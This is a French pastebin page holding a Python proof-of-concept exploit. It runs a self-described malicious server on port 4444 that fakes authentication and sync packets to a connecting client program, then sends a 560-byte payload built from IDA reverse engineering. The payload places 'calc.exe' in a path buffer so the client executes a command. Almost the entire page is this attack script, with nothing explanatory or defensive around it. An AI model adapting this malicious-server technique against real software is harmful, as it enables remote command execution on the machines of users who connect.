Logo Pastebin.fr
Pastebin

Retrouvez, créez et partagez vos snippets en temps réel.

retro

import socket
import time

# Configuration
HOST = '127.0.0.1'
PORT = 4444

def exploit_stable():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((HOST, PORT))
        s.listen(1)
        print(f"[*] [START] Serveur malveillant actif sur le port {PORT}...")

        conn, addr = s.accept()
        with conn:
            # 1. Identification (Paquet 7 - 80 octets)
            conn.recv(80) 

            # 2. Validation Auth (0Ah) - Indispensable pour sub_44E910
            conn.sendall(b'\x0A' + b'\x00' * 7)
            print("[+] Etape 1 : Authentification validée (0Ah)")
            time.sleep(0.1)

            # 3. Synchro (Paquets 15 et 19)
            conn.sendall(b'\x00' * 4)
            conn.sendall(b'\x00' * 8)
            time.sleep(0.1)

            # 4. LE PAYLOAD (560 octets) découpé selon IDA
            # Premier buffer (sub_44EAE0) -> 260 octets
            buffer_1 = b'\x00' * 260
            
            # Deuxième buffer (pszPath) -> 260 octets
            # On y injecte la commande calc.exe en Unicode (utf-16le)
            command = "calc.exe".encode('utf-16le')
            buffer_2 = command + b'\x00' * (260 - len(command))
            
            # Reste du paquet pour atteindre les 560 octets de Wireshark
            padding = b'\x00' * 40
            
            payload = buffer_1 + buffer_2 + padding
            conn.sendall(payload)
            
            print("[+] Etape 2 : Payload de 560 octets envoyé proprement.")
            time.sleep(1)

if __name__ == "__main__":
    exploit_stable()

Créé il y a 2 semaines.

Rechercher un Pastebin

Aucun paste trouvé.